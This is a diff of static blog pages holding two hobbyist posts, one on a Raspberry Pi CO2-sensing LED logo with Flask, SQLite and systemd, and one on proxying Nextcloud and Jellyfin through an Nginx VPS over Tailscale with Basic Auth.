    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/iot/page/1/index.html b/public-clearnet/tags/iot/page/1/index.html new file mode 100644 index 0000000..ac29731 --- /dev/null +++ b/public-clearnet/tags/iot/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/iot/ + \ No newline at end of file diff --git a/public-clearnet/tags/jellyfin/index.html b/public-clearnet/tags/jellyfin/index.html new file mode 100644 index 0000000..4c1eb0a --- /dev/null +++ b/public-clearnet/tags/jellyfin/index.html @@ -0,0 +1,18 @@ +Jellyfin | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/jellyfin/index.xml b/public-clearnet/tags/jellyfin/index.xml new file mode 100644 index 0000000..d736b10 --- /dev/null +++ b/public-clearnet/tags/jellyfin/index.xml @@ -0,0 +1,448 @@ +Jellyfin on AlipourIm journeyshttps://blog.alipour.eu/tags/jellyfin/Recent content in Jellyfin on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
